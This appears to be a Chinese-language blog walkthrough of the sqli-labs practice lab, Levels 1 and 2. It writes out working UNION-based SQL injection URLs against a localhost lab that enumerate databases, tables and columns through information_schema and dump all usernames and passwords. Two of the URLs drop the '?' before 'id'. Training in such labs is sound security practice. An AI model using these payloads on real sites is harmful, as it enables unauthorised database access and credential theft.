sqlilabs闯关指北(随缘做随缘更)
web毕竟不是主业,龟速更新,萌新一头如有错误还望大佬们指出
Less-1
尝试 ?id=1 回显正常
接着尝试在 id 后面加上',发现页面回显不正常,表示可能存在字符注入
输入 --+ 将 sql 后面的语句注释掉后,发现页面回显正常,则证明这个地方是单引号字符型注入
接着使用 order by 判断该表中一共有几列数据。order by 3 页面回显正常,4 页面回显不正常,说明此表一共有 3 列
将 id=1 改为一个数据库不存在的 id 值,如 466,使用 union select 1,2,3 联合查询语句查看页面是否有显示位
发现页面先输出了 2 和 3,说明页面有 2 个显示位
然后利用 sql 查询语句依次爆破出数据库内的数据库名,表名,列名,字段信息
查询当前使用的数据库和基本信息
http://localhost/sqli-labs-master/Less-1/?id=466' union select 1,2,concat_ws(char(32,58,32),user(),database(),version()) --+
其中 concat_ws() 的第一个参数是连接字符串的分隔符,user()返回当前数据库连接使用的用户,database()返回当前数据库连接使用的数据库,version()返回当前数据库的版
在继续爆破前先明确以下知识点:
- information_schema.tables: 包含了数据库里所有的表
- table_name: 表名
- table_schema: 数据库名
- column_name: 字段名
查询数据库security的表
http://localhost/sqli-labs-master/Less-1/?id=466' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+
接着看users表的字段名
http://localhost/sqli-labs-master/Less-1/id=466' union select 1,2,group_concat(column_name)from information_schema.columns where table_name='users'--+
看到了 username 和 password 字段
然后去查询字段信息
http://localhost/sqli-labs-master/Less-1/id=466' union select 1,2,group_concat(0x5c,username,0x3a,password) from users--+
获得了所有的账号和密码,本题到此结束
Less-2
首先判断注入类型,尝试 ?id=1 回显正常,在 id 后加 ' 报错,则考虑可能存在单引号字符型注入或数字型注入
接着尝试添加 and 1=1,语句正常执行,回显正常
接着尝试 and 1=2,语句可以正常执行不报错,但是无法查询出结果,所以返回数据与原始网页存在差异,可以确定类型为数字型注入
和 less1 一样思路首先使用 order by 判断该表中一共有几列数据,发现有 3 列
再利用 union select 1,2,3 联合查询语句确认占位信息
然后剩下的都和第一关一样,找库名,表名,列名,字段信息等
找库名
找表名
找字段名
查询字段信息
都跟上一题一个样的